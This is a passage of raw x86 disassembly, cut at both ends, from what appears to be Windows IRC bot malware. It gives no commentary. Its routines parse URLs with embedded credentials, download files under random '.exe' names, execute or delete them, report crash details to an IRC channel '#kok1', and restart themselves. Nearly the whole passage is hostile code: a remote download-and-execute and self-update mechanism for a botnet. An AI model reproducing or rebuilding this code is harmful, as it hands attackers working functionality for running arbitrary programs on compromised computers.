ptr [ebp-6C8h], 0 jnz short loc_402DED push offset a69 ; "69" lea eax, [ebp-6D4h] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_402DED: ; CODE XREF: cAddress:00402DD8j lea eax, [ebp-631h] push eax lea eax, [ebp-638h] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov dword ptr [ebp-6CCh], 3 jmp short loc_402E3D ; --------------------------------------------------------------------------- loc_402E0E: ; CODE XREF: cAddress:00402DCFj mov eax, [ebp-63Ch] push dword ptr [eax] push offset unk_418500 lea eax, [ebp-430h] push eax call sub_40D53F add esp, 0Ch push dword ptr [ebp-63Ch] call sub_409763 pop ecx xor eax, eax jmp loc_40325B ; --------------------------------------------------------------------------- loc_402E3D: ; CODE XREF: cAddress:00402D32j ; cAddress:00402DB2j ... lea eax, [ebp-638h] push eax call sub_416B40 ; strlen pop ecx mov [ebp-6C0h], eax jmp short loc_402E5F ; --------------------------------------------------------------------------- loc_402E52: ; CODE XREF: cAddress:loc_402F11j mov eax, [ebp-6C0h] dec eax mov [ebp-6C0h], eax loc_402E5F: ; CODE XREF: cAddress:00402E50j cmp dword ptr [ebp-6C0h], 0FFFFFFFFh jz loc_402F16 mov eax, [ebp-6C0h] movsx eax, byte ptr [ebp+eax-638h] cmp eax, 40h jnz loc_402F11 mov eax, [ebp-6C0h] and byte ptr [ebp+eax-638h], 0 push offset asc_4184FC ; ":" lea eax, [ebp-638h] push eax call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp-7E4h], eax cmp dword ptr [ebp-7E4h], 0 jz short loc_402ED8 mov eax, [ebp-7E4h] and byte ptr [eax], 0 push 80h mov eax, [ebp-7E4h] inc eax push eax lea eax, [ebp-6BCh] push eax call sub_407A56 add esp, 0Ch loc_402ED8: ; CODE XREF: cAddress:00402EB1j push 80h lea eax, [ebp-638h] push eax lea eax, [ebp-284h] push eax call sub_407A56 add esp, 0Ch mov eax, [ebp-6C0h] lea eax, [ebp+eax-637h] push eax lea eax, [ebp-638h] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_402F16 ; --------------------------------------------------------------------------- loc_402F11: ; CODE XREF: cAddress:00402E7Dj jmp loc_402E52 ; --------------------------------------------------------------------------- loc_402F16: ; CODE XREF: cAddress:00402E66j ; cAddress:00402F0Fj push offset asc_4184F8 ; "/" lea eax, [ebp-638h] push eax call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp-288h], eax cmp dword ptr [ebp-288h], 0 jnz short loc_402F67 mov eax, [ebp-63Ch] push dword ptr [eax] push offset unk_4184CC lea eax, [ebp-430h] push eax call sub_40D53F add esp, 0Ch push dword ptr [ebp-63Ch] call sub_409763 pop ecx xor eax, eax jmp loc_40325B ; --------------------------------------------------------------------------- loc_402F67: ; CODE XREF: cAddress:00402F36j mov eax, [ebp-288h] inc eax push eax lea eax, [ebp-204h] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp-288h] and byte ptr [eax], 0 lea eax, [ebp-638h] push eax lea eax, [ebp-100h] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx call sub_416B64 ; clock mov [ebp-6D8h], eax and dword ptr [ebp-6C4h], 0 cmp dword ptr [ebp-6CCh], 1 jnz short loc_403009 push dword ptr [ebp-63Ch] movsx eax, byte ptr [ebp-2A8h] neg eax sbb eax, eax neg eax push eax lea eax, [ebp-6C4h] push eax lea eax, [ebp-534h] push eax lea eax, [ebp-204h] push eax lea eax, [ebp-6D4h] push eax lea eax, [ebp-100h] push eax lea eax, [ebp-6BCh] push eax lea eax, [ebp-284h] push eax call sub_402698 add esp, 24h mov [ebp-28Ch], eax loc_403009: ; CODE XREF: cAddress:00402FB4j cmp dword ptr [ebp-6CCh], 2 jnz short loc_403065 push dword ptr [ebp-63Ch] movsx eax, byte ptr [ebp-2A8h] neg eax sbb eax, eax neg eax push eax lea eax, [ebp-6C4h] push eax lea eax, [ebp-534h] push eax lea eax, [ebp-204h] push eax lea eax, [ebp-6D4h] push eax lea eax, [ebp-100h] push eax lea eax, [ebp-6BCh] push eax lea eax, [ebp-284h] push eax call sub_402A24 add esp, 24h mov [ebp-28Ch], eax loc_403065: ; CODE XREF: cAddress:00403010j cmp dword ptr [ebp-6CCh], 3 jnz short loc_4030B3 push dword ptr [ebp-63Ch] movsx eax, byte ptr [ebp-2A8h] neg eax sbb eax, eax neg eax push eax lea eax, [ebp-6C4h] push eax lea eax, [ebp-534h] push eax lea eax, [ebp-204h] push eax lea eax, [ebp-6D4h] push eax lea eax, [ebp-100h] push eax call sub_402A2B add esp, 1Ch mov [ebp-28Ch], eax loc_4030B3: ; CODE XREF: cAddress:0040306Cj ; cAddress:loc_403256j cmp dword ptr [ebp-28Ch], 1 jnz loc_403219 movsx eax, byte ptr [ebp-296h] test eax, eax jz short loc_4030D7 mov dword ptr [ebp-7ECh], offset aUpdating ; ", updating" jmp short loc_403104 ; --------------------------------------------------------------------------- loc_4030D7: ; CODE XREF: cAddress:004030C9j movsx eax, byte ptr [ebp-2A6h] test eax, eax jz short loc_4030EE mov dword ptr [ebp-7F0h], offset aExecuting ; ", executing" jmp short loc_4030F8 ; --------------------------------------------------------------------------- loc_4030EE: ; CODE XREF: cAddress:004030E0j mov dword ptr [ebp-7F0h], offset byte_41DE00 loc_4030F8: ; CODE XREF: cAddress:004030ECj mov eax, [ebp-7F0h] mov [ebp-7ECh], eax loc_403104: ; CODE XREF: cAddress:004030D5j push dword ptr [ebp-7ECh] mov eax, [ebp-6C4h] shr eax, 0Ah mov [ebp-7F8h], eax and dword ptr [ebp-7F4h], 0 fild qword ptr [ebp-7F8h] fstp dword ptr [ebp-7FCh] call sub_416B64 ; clock sub eax, [ebp-6D8h] mov [ebp-804h], eax and dword ptr [ebp-800h], 0 fild qword ptr [ebp-804h] fdiv flt_417270 fdivr dword ptr [ebp-7FCh] push ecx push ecx fstp qword ptr [esp] lea eax, [ebp-534h] push eax mov eax, [ebp-63Ch] push dword ptr [eax] push offset dword_41846C lea eax, [ebp-430h] push eax call sub_40D53F add esp, 1Ch movsx eax, byte ptr [ebp-2A7h] test eax, eax jz short loc_403198 lea eax, [ebp-534h] push eax call dword_4170AC ; DeleteFileA jmp short loc_403217 ; --------------------------------------------------------------------------- loc_403198: ; CODE XREF: cAddress:00403187j movsx eax, byte ptr [ebp-2A6h] test eax, eax jnz short loc_4031AE movsx eax, byte ptr [ebp-296h] test eax, eax jz short loc_403217 loc_4031AE: ; CODE XREF: cAddress:004031A1j movsx eax, byte ptr [ebp-2A3h] neg eax sbb eax, eax inc eax push eax push 0 push 0 lea eax, [ebp-534h] push eax push offset aOpen ; "open" push 0 call dword_4171D0 mov [ebp-7E8h], eax cmp dword ptr [ebp-7E8h], 20h jbe short loc_4031F4 movsx eax, byte ptr [ebp-296h] test eax, eax jz short loc_4031F2 call sub_407148 loc_4031F2: ; CODE XREF: cAddress:004031EBj jmp short loc_403217 ; --------------------------------------------------------------------------- loc_4031F4: ; CODE XREF: cAddress:004031E0j lea eax, [ebp-534h] push eax mov eax, [ebp-63Ch] push dword ptr [eax] push offset dword_418444 lea eax, [ebp-430h] push eax call sub_40D53F add esp, 10h loc_403217: ; CODE XREF: cAddress:00403196j ; cAddress:004031ACj ... jmp short loc_40323C ; --------------------------------------------------------------------------- loc_403219: ; CODE XREF: cAddress:004030BAj lea eax, [ebp-7DCh] push eax mov eax, [ebp-63Ch] push dword ptr [eax] push offset dword_418414 lea eax, [ebp-430h] push eax call sub_40D53F add esp, 10h loc_40323C: ; CODE XREF: cAddress:loc_403217j push dword ptr [ebp-63Ch] call sub_409763 pop ecx xor eax, eax jmp short loc_40325B ; --------------------------------------------------------------------------- loc_40324C: ; CODE XREF: cAddress:loc_402CCEj jmp loc_402CDD ; --------------------------------------------------------------------------- loc_403251: ; CODE XREF: cAddress:loc_402C75j jmp loc_402CDD ; --------------------------------------------------------------------------- loc_403256: ; CODE XREF: cAddress:loc_402B8Ej jmp loc_4030B3 ; --------------------------------------------------------------------------- loc_40325B: ; CODE XREF: cAddress:00402B89j ; cAddress:00402E38j ... pop edi leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403260 proc near ; CODE XREF: sub_40A9CF+959p var_14 = dword ptr -14h var_10 = byte ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h cmp [ebp+arg_4], 0 jnz short loc_403271 jmp locret_403329 ; --------------------------------------------------------------------------- loc_403271: ; CODE XREF: sub_403260+Aj push 3AFh call sub_416B46 ; malloc pop ecx mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_40328A jmp locret_403329 ; --------------------------------------------------------------------------- loc_40328A: ; CODE XREF: sub_403260+23j push 8 push 7Ah push 61h push 4 lea eax, [ebp+var_10] push eax call sub_410501 add esp, 14h and [ebp+eax+var_10], 0 push offset a_exe ; ".exe" lea eax, [ebp+var_10] push eax call sub_416B70 ; _mbscat pop ecx pop ecx cmp [ebp+arg_8], 0 jnz short loc_4032BF lea eax, [ebp+var_10] mov [ebp+arg_8], eax loc_4032BF: ; CODE XREF: sub_403260+57j push 104h push [ebp+arg_4] mov eax, [ebp+var_14] add eax, 4 push eax call sub_407A56 add esp, 0Ch push 104h push [ebp+arg_8] mov eax, [ebp+var_14] add eax, 108h push eax call sub_407A56 add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_14] add eax, 20Ch push eax call sub_405F67 pop ecx pop ecx mov eax, [ebp+var_14] add eax, 108h push eax mov eax, [ebp+var_14] add eax, 4 push eax push offset dword_4185FC push 0 push [ebp+var_14] push offset loc_402A32 call sub_4095A4 add esp, 18h locret_403329: ; CODE XREF: sub_403260+Cj ; sub_403260+25j leave retn sub_403260 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 114h push 1 push offset dword_41DE0C call sub_409C88 pop ecx pop ecx mov [ebp-4], eax cmp dword_41DE08, 0 jz loc_4034D9 mov dword ptr [ebp-8], offset aException_othe ; "EXCEPTION_OTHER" mov eax, [ebp+8] mov eax, [eax] mov eax, [eax] mov [ebp-110h], eax cmp dword ptr [ebp-110h], 0C0000025h ja short loc_4033A4 cmp dword ptr [ebp-110h], 0C0000025h jz short loc_4033FA cmp dword ptr [ebp-110h], 80000003h jz short loc_4033DF cmp dword ptr [ebp-110h], 0C0000005h jz short loc_4033D6 cmp dword ptr [ebp-110h], 0C000001Dh jz short loc_4033E8 jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033A4: ; CODE XREF: cAddress:00403370j cmp dword ptr [ebp-110h], 0C000008Dh jb short loc_403413 cmp dword ptr [ebp-110h], 0C0000093h jbe short loc_40340C cmp dword ptr [ebp-110h], 0C0000094h jz short loc_4033F1 cmp dword ptr [ebp-110h], 0C00000FDh jz short loc_403403 jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033D6: ; CODE XREF: cAddress:00403394j mov dword ptr [ebp-8], offset aException_acce ; "EXCEPTION_ACCESS_VIOLATION" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033DF: ; CODE XREF: cAddress:00403388j mov dword ptr [ebp-8], offset aException_brea ; "EXCEPTION_BREAKPOINT" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033E8: ; CODE XREF: cAddress:004033A0j mov dword ptr [ebp-8], offset aException_ille ; "EXCEPTION_ILLEGAL_INSTRUCTION" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033F1: ; CODE XREF: cAddress:004033C6j mov dword ptr [ebp-8], offset aException_int_ ; "EXCEPTION_INT_DIVIDE_BY_ZERO" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033FA: ; CODE XREF: cAddress:0040337Cj mov dword ptr [ebp-8], offset aException_nonc ; "EXCEPTION_NONCONTINUABLE_EXCEPTION" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_403403: ; CODE XREF: cAddress:004033D2j mov dword ptr [ebp-8], offset aException_stac ; "EXCEPTION_STACK_OVERFLOW" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_40340C: ; CODE XREF: cAddress:004033BAj mov dword ptr [ebp-8], offset aException_flt ; "EXCEPTION_FLT" loc_403413: ; CODE XREF: cAddress:004033A2j ; cAddress:004033AEj ... mov eax, [ebp+8] mov eax, [eax] cmp dword ptr [eax+4], 1 jnz short loc_40342A mov dword ptr [ebp-114h], offset aRestarting ; "Restarting" jmp short loc_403434 ; --------------------------------------------------------------------------- loc_40342A: ; CODE XREF: cAddress:0040341Cj mov dword ptr [ebp-114h], offset aContinuing ; "Continuing" loc_403434: ; CODE XREF: cAddress:00403428j push dword ptr [ebp-114h] push dword ptr [ebp-8] mov eax, [ebp+8] mov eax, [eax] push dword ptr [eax] mov eax, [ebp+8] mov eax, [eax+4] push dword ptr [eax+0C0h] mov eax, [ebp+8] mov eax, [eax+4] push dword ptr [eax+0B8h] mov eax, [ebp+8] mov eax, [eax+4] push dword ptr [eax+0C4h] mov eax, [ebp+8] mov eax, [eax+4] push dword ptr [eax+0B4h] mov eax, [ebp+8] mov eax, [eax+4] push dword ptr [eax+9Ch] mov eax, [ebp+8] mov eax, [eax+4] push dword ptr [eax+0A0h] mov eax, [ebp+8] mov eax, [eax+4] push dword ptr [eax+0A8h] mov eax, [ebp+8] mov eax, [eax+4] push dword ptr [eax+0ACh] mov eax, [ebp+8] mov eax, [eax+4] push dword ptr [eax+0A4h] mov eax, [ebp+8] mov eax, [eax+4] push dword ptr [eax+0B0h] mov eax, [ebp-4] inc eax push eax push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push offset dword_41864C push offset aKok1 ; "#kok1" call sub_40D4AB add esp, 48h loc_4034D9: ; CODE XREF: cAddress:0040334Cj mov eax, [ebp-4] inc eax cmp eax, 64h jz short loc_4034ED mov eax, [ebp+8] mov eax, [eax] cmp dword ptr [eax+4], 1 jnz short loc_403558 loc_4034ED: ; CODE XREF: cAddress:004034E0j push 104h lea eax, [ebp-10Ch] push eax push 0 call dword_41708C ; GetModuleHandleA push eax call dword_417090 ; GetModuleFileNameA test eax, eax jz short loc_403545 push 0 push 0 push 0 lea eax, [ebp-10Ch] push eax push offset aOpen ; "open" push 0 call dword_4171D0 cmp eax, 20h ja short loc_403538 push offset aQuitExitting ; "QUIT :exitting" call sub_40D6CB pop ecx jmp short loc_403543 ; --------------------------------------------------------------------------- loc_403538: ; CODE XREF: cAddress:00403529j push offset aQuitRestarting ; "QUIT :restarting" call sub_40D6CB pop ecx loc_403543: ; CODE XREF: cAddress:00403536j jmp short loc_403550 ; --------------------------------------------------------------------------- loc_403545: ; CODE XREF: cAddress:0040350Aj push offset aQuitRestarting ; "QUIT :restarting" call sub_40D6CB pop ecx loc_403550: ; CODE XREF: cAddress:loc_403543j push 0 call dword_41705C ; ExitProcess loc_403558: ; CODE XREF: cAddress:004034EBj mov eax, [ebp+8] mov eax, [eax] cmp dword ptr [eax], 80000003h jnz short loc_403583 mov eax, [ebp+8] mov eax, [eax+4] mov eax, [eax+0B8h] inc eax mov ecx, [ebp+8] mov ecx, [ecx+4] mov [ecx+0B8h], eax or eax, 0FFFFFFFFh jmp short locret_403586 ; --------------------------------------------------------------------------- loc_403583: ; CODE XREF: cAddress:00403563j push 1 pop eax locret_403586: ; CODE XREF: cAddress:00403581j leave retn ; --------------------------------------------------------------------------- loc_403588: ; DATA XREF: sub_403BD3:loc_403D85o push ebp mov ebp, esp sub esp, 48h cmp dword ptr [ebp+10h], 0 jz short loc_4035E2 mov eax, [ebp+10h] cmp dword ptr [eax+4], 0 jz short loc_4035BB mov eax, [ebp+10h] cmp dword ptr [eax+4], 2 jz short loc_4035BB push 273Fh call dword_417234 ; WSASetLastError mov eax, 273Fh jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_4035BB: ; CODE XREF: cAddress:0040359Bj ; cAddress:004035A4j mov eax, [ebp+10h] cmp dword ptr [eax+8], 1 jz short loc_4035E2 mov eax, [ebp+10h] cmp dword ptr [eax+8], 2 jz short loc_4035E2 push 273Ch call dword_417234 ; WSASetLastError mov eax, 273Ch jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_4035E2: ; CODE XREF: cAddress:00403592j ; cAddress:004035C2j ... cmp dword ptr [ebp+8], 0 jnz loc_4036D6 push 30h call sub_416B46 ; malloc pop ecx mov [ebp-34h], eax cmp dword ptr [ebp-34h], 0 jnz short loc_40360D push 8 call dword_417234 ; WSASetLastError push 8 pop eax jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_40360D: ; CODE XREF: cAddress:004035FBj push 30h push 0 push dword ptr [ebp-34h] call sub_416B6A ; memset add esp, 0Ch push 10h push 0 lea eax, [ebp-30h] push eax call sub_416B6A ; memset add esp, 0Ch mov word ptr [ebp-30h], 2 cmp dword ptr [ebp+0Ch], 0 jz short loc_40364C push dword ptr [ebp+0Ch] call sub_416B9C ; atoi pop ecx push eax call dword_417238 ; htons mov [ebp-2Eh], ax loc_40364C: ; CODE XREF: cAddress:00403636j mov eax, [ebp-34h] mov dword ptr [eax+4], 2 cmp dword ptr [ebp+10h], 0 jz short loc_403667 mov eax, [ebp+10h] mov eax, [eax+8] mov [ebp-38h], eax jmp short loc_40366E ; --------------------------------------------------------------------------- loc_403667: ; CODE XREF: cAddress:0040365Aj mov dword ptr [ebp-38h], 1 loc_40366E: ; CODE XREF: cAddress:00403665j mov eax, [ebp-34h] mov ecx, [ebp-38h] mov [eax+8], ecx cmp dword ptr [ebp+10h], 0 jz short loc_403688 mov eax, [ebp+10h] mov eax, [eax+0Ch] mov [ebp-3Ch], eax jmp short loc_40368F ; --------------------------------------------------------------------------- loc_403688: ; CODE XREF: cAddress:0040367Bj mov dword ptr [ebp-3Ch], 6 loc_40368F: ; CODE XREF: cAddress:00403686j mov eax, [ebp-34h] mov ecx, [ebp-3Ch] mov [eax+0Ch], ecx mov eax, [ebp-34h] mov dword ptr [eax+10h], 10h mov eax, [ebp-34h] add eax, 20h mov ecx, [ebp-34h] mov [ecx+18h], eax and dword ptr [ebp-2Ch], 0 push 10h lea eax, [ebp-30h] push eax mov eax, [ebp-34h] add eax, 20h push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+14h] mov ecx, [ebp-34h] mov [eax], ecx xor eax, eax jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_4036D6: ; CODE XREF: cAddress:004035E6j push dword ptr [ebp+8] call dword_41723C ; gethostbyname mov [ebp-14h], eax cmp dword ptr [ebp-14h], 0 jnz short loc_4036F2 mov eax, 2AFBh jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_4036F2: ; CODE XREF: cAddress:004036E6j and dword ptr [ebp-20h], 0 jmp short loc_4036FF ; --------------------------------------------------------------------------- loc_4036F8: ; CODE XREF: cAddress:00403714j mov eax, [ebp-20h] inc eax mov [ebp-20h], eax loc_4036FF: ; CODE XREF: cAddress:004036F6j cmp dword ptr [ebp-14h], 0 jz short loc_403716 mov eax, [ebp-14h] mov eax, [eax+0Ch] mov ecx, [ebp-20h] cmp dword ptr [eax+ecx*4], 0 jz short loc_403716 jmp short loc_4036F8 ; --------------------------------------------------------------------------- loc_403716: ; CODE XREF: cAddress:00403703j ; cAddress:00403712j cmp dword ptr [ebp-20h], 0 jnz short loc_403726 mov eax, 2AFBh jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_403726: ; CODE XREF: cAddress:0040371Aj mov eax, [ebp-20h] imul eax, 30h push eax call sub_416B46 ; malloc pop ecx mov [ebp-1Ch], eax cmp dword ptr [ebp-1Ch], 0 jnz short loc_40374C push 8 call dword_417234 ; WSASetLastError push 8 pop eax jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_40374C: ; CODE XREF: cAddress:0040373Aj mov eax, [ebp-20h] imul eax, 30h push eax push 0 push dword ptr [ebp-1Ch] call sub_416B6A ; memset add esp, 0Ch push 10h push 0 lea eax, [ebp-10h] push eax call sub_416B6A ; memset add esp, 0Ch mov word ptr [ebp-10h], 2 cmp dword ptr [ebp+0Ch], 0 jz short loc_403790 push dword ptr [ebp+0Ch] call sub_416B9C ; atoi pop ecx push eax call dword_417238 ; htons mov [ebp-0Eh], ax loc_403790: ; CODE XREF: cAddress:0040377Aj and dword ptr [ebp-18h], 0 jmp short loc_40379D ; --------------------------------------------------------------------------- loc_403796: ; CODE XREF: cAddress:loc_4038A7j mov eax, [ebp-18h] inc eax mov [ebp-18h], eax loc_40379D: ; CODE XREF: cAddress:00403794j mov eax, [ebp-18h] cmp eax, [ebp-20h] jnb loc_4038AC cmp dword ptr [ebp+10h], 0 jz short loc_4037B9 mov eax, [ebp+10h] mov eax, [eax] mov [ebp-40h], eax jmp short loc_4037C0 ; --------------------------------------------------------------------------- loc_4037B9: ; CODE XREF: cAddress:004037ADj mov dword ptr [ebp-40h], 4 loc_4037C0: ; CODE XREF: cAddress:004037B7j mov eax, [ebp-18h] imul eax, 30h mov ecx, [ebp-1Ch] mov edx, [ebp-40h] mov [ecx+eax], edx mov eax, [ebp-18h] imul eax, 30h mov ecx, [ebp-1Ch] mov dword ptr [ecx+eax+4], 2 cmp dword ptr [ebp+10h], 0 jz short loc_4037F1 mov eax, [ebp+10h] mov eax, [eax+8] mov [ebp-44h], eax jmp short loc_4037F8 ; --------------------------------------------------------------------------- loc_4037F1: ; CODE XREF: cAddress:004037E4j mov dword ptr [ebp-44h], 1 loc_4037F8: ; CODE XREF: cAddress:004037EFj mov eax, [ebp-18h] imul eax, 30h mov ecx, [ebp-1Ch] mov edx, [ebp-44h] mov [ecx+eax+8], edx cmp dword ptr [ebp+10h], 0 jz short loc_403819 mov eax, [ebp+10h] mov eax, [eax+0Ch] mov [ebp-48h], eax jmp short loc_403820 ; --------------------------------------------------------------------------- loc_403819: ; CODE XREF: cAddress:0040380Cj mov dword ptr [ebp-48h], 6 loc_403820: ; CODE XREF: cAddress:00403817j mov eax, [ebp-18h] imul eax, 30h mov ecx, [ebp-1Ch] mov edx, [ebp-48h] mov [ecx+eax+0Ch], edx mov eax, [ebp-18h] imul eax, 30h mov ecx, [ebp-1Ch] mov dword ptr [ecx+eax+10h], 10h mov eax, [ebp-18h] imul eax, 30h mov ecx, [ebp-1Ch] lea eax, [ecx+eax+20h] mov ecx, [ebp-18h] imul ecx, 30h mov edx, [ebp-1Ch] mov [edx+ecx+18h], eax mov eax, [ebp-14h] mov eax, [eax+0Ch] mov ecx, [ebp-18h] mov eax, [eax+ecx*4] mov eax, [eax] mov [ebp-0Ch], eax push 10h lea eax, [ebp-10h] push eax mov eax, [ebp-18h] imul eax, 30h mov ecx, [ebp-1Ch] lea eax, [ecx+eax+20h] push eax call sub_416B52 ; memcpy add esp, 0Ch cmp dword ptr [ebp-18h], 0 jz short loc_4038A7 mov eax, [ebp-18h] imul eax, 30h mov ecx, [ebp-1Ch] add ecx, eax mov eax, [ebp-18h] dec eax imul eax, 30h mov edx, [ebp-1Ch] mov [edx+eax+1Ch], ecx loc_4038A7: ; CODE XREF: cAddress:0040388Cj jmp loc_403796 ; --------------------------------------------------------------------------- loc_4038AC: ; CODE XREF: cAddress:004037A3j mov eax, [ebp+14h] mov ecx, [ebp-1Ch] mov [eax], ecx xor eax, eax locret_4038B6: ; CODE XREF: cAddress:004035B6j ; cAddress:004035DDj ... leave retn 10h ; --------------------------------------------------------------------------- loc_4038BA: ; DATA XREF: sub_403BD3+1BCo push ebp mov ebp, esp sub esp, 434h cmp dword ptr [ebp+10h], 0 jnz short loc_4038CF cmp dword ptr [ebp+18h], 0 jz short loc_4038D8 loc_4038CF: ; CODE XREF: cAddress:004038C7j mov eax, [ebp+20h] and al, 0E0h test eax, eax jz short loc_4038ED loc_4038D8: ; CODE XREF: cAddress:004038CDj push 2726h call dword_417234 ; WSASetLastError mov eax, 2726h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_4038ED: ; CODE XREF: cAddress:004038D6j mov eax, [ebp+8] mov [ebp-40Ch], eax mov eax, [ebp-40Ch] movsx eax, word ptr [eax] cmp eax, 2 jz short loc_403919 push 273Fh call dword_417234 ; WSASetLastError mov eax, 273Fh jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403919: ; CODE XREF: cAddress:00403902j cmp dword ptr [ebp+10h], 0 jz loc_403ABA mov eax, [ebp-40Ch] push dword ptr [eax+4] call dword_41721C ; inet_ntoa mov [ebp-434h], eax cmp dword ptr [ebp-434h], 0 jnz short loc_403949 or eax, 0FFFFFFFFh jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403949: ; CODE XREF: cAddress:0040393Fj push 401h push dword ptr [ebp-434h] lea eax, [ebp-404h] push eax call sub_407A56 add esp, 0Ch mov eax, [ebp+20h] and eax, 2 test eax, eax jz short loc_403972 jmp loc_403BB4 ; --------------------------------------------------------------------------- loc_403972: ; CODE XREF: cAddress:0040396Bj mov eax, [ebp+20h] and eax, 4 test eax, eax jz short loc_4039F4 push 0 push 4 mov eax, [ebp-40Ch] add eax, 4 push eax call dword_417220 ; gethostbyaddr mov [ebp-410h], eax cmp dword ptr [ebp-410h], 0 jnz short loc_4039AA call dword_417224 ; WSAGetLastError jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_4039AA: ; CODE XREF: cAddress:0040399Dj mov eax, [ebp-410h] push dword ptr [eax] call sub_416B40 ; strlen pop ecx inc eax cmp eax, [ebp+14h] jbe short loc_4039D3 push 2747h call dword_417234 ; WSASetLastError mov eax, 2747h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_4039D3: ; CODE XREF: cAddress:004039BCj push 401h mov eax, [ebp-410h] push dword ptr [eax] lea eax, [ebp-404h] push eax call sub_407A56 add esp, 0Ch jmp loc_403ABA ; --------------------------------------------------------------------------- loc_4039F4: ; CODE XREF: cAddress:0040397Aj mov eax, [ebp+20h] and eax, 1 test eax, eax jz loc_403A92 mov eax, [ebp-40Ch] cmp dword ptr [eax+4], 7F000001h jz short loc_403A1D mov eax, [ebp-40Ch] cmp dword ptr [eax+4], 0 jnz short loc_403A92 loc_403A1D: ; CODE XREF: cAddress:00403A0Fj push 0 push 4 mov eax, [ebp-40Ch] add eax, 4 push eax call dword_417220 ; gethostbyaddr mov [ebp-410h], eax cmp dword ptr [ebp-410h], 0 jnz short loc_403A4B call dword_417224 ; WSAGetLastError jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403A4B: ; CODE XREF: cAddress:00403A3Ej mov eax, [ebp-410h] push dword ptr [eax] call sub_416B40 ; strlen pop ecx inc eax cmp eax, [ebp+14h] jbe short loc_403A74 push 2747h call dword_417234 ; WSASetLastError mov eax, 2747h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403A74: ; CODE XREF: cAddress:00403A5Dj push 401h mov eax, [ebp-410h] push dword ptr [eax] lea eax, [ebp-404h] push eax call sub_407A56 add esp, 0Ch jmp short loc_403ABA ; --------------------------------------------------------------------------- loc_403A92: ; CODE XREF: cAddress:004039FCj ; cAddress:00403A1Bj ... lea eax, [ebp-404h] push eax call sub_416B40 ; strlen pop ecx inc eax cmp eax, [ebp+14h] jbe short loc_403ABA push 2747h call dword_417234 ; WSASetLastError mov eax, 2747h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403ABA: ; CODE XREF: cAddress:0040391Dj ; cAddress:004039EFj ... cmp dword ptr [ebp+18h], 0 jz loc_403B99 push 8 pop eax test eax, eax jz short loc_403B2C push 0Ah lea eax, [ebp-430h] push eax mov eax, [ebp-40Ch] mov ax, [eax+2] push eax call dword_417238 ; htons movzx eax, ax push eax call sub_416F7A ; _itoa add esp, 0Ch lea eax, [ebp-430h] push eax call sub_416B40 ; strlen pop ecx inc eax cmp eax, [ebp+1Ch] jbe short loc_403B19 push 2747h call dword_417234 ; WSASetLastError mov eax, 2747h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403B19: ; CODE XREF: cAddress:00403B02j lea eax, [ebp-430h] push eax push dword ptr [ebp+18h] call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_403B99 ; --------------------------------------------------------------------------- loc_403B2C: ; CODE XREF: cAddress:00403AC9j mov eax, [ebp+20h] and eax, 10h neg eax sbb eax, eax and eax, offset aUdp ; "udp" push eax mov eax, [ebp-40Ch] movzx eax, word ptr [eax+2] push eax call dword_417228 ; getservbyport mov [ebp-408h], eax cmp dword ptr [ebp-408h], 0 jnz short loc_403B61 or eax, 0FFFFFFFFh jmp short locret_403BB9 ; --------------------------------------------------------------------------- loc_403B61: ; CODE XREF: cAddress:00403B5Aj mov eax, [ebp-408h] push dword ptr [eax] call sub_416B40 ; strlen pop ecx inc eax cmp eax, [ebp+1Ch] jbe short loc_403B87 push 2747h call dword_417234 ; WSASetLastError mov eax, 2747h jmp short locret_403BB9 ; --------------------------------------------------------------------------- loc_403B87: ; CODE XREF: cAddress:00403B73j mov eax, [ebp-408h] push dword ptr [eax] push dword ptr [ebp+18h] call sub_416B3A ; _mbscpy pop ecx pop ecx loc_403B99: ; CODE XREF: cAddress:00403ABEj ; cAddress:00403B2Aj cmp dword ptr [ebp+10h], 0 jz short loc_403BB0 lea eax, [ebp-404h] push eax push dword ptr [ebp+10h] call sub_416B3A ; _mbscpy pop ecx pop ecx loc_403BB0: ; CODE XREF: cAddress:00403B9Dj xor eax, eax jmp short locret_403BB9 ; --------------------------------------------------------------------------- loc_403BB4: ; CODE XREF: cAddress:0040396Dj jmp loc_403A92 ; --------------------------------------------------------------------------- locret_403BB9: ; CODE XREF: cAddress:004038E8j ; cAddress:00403914j ... leave retn 1Ch ; --------------------------------------------------------------------------- loc_403BBD: ; DATA XREF: sub_403BD3+1C6o push ebp mov ebp, esp cmp dword ptr [ebp+8], 0 jz short 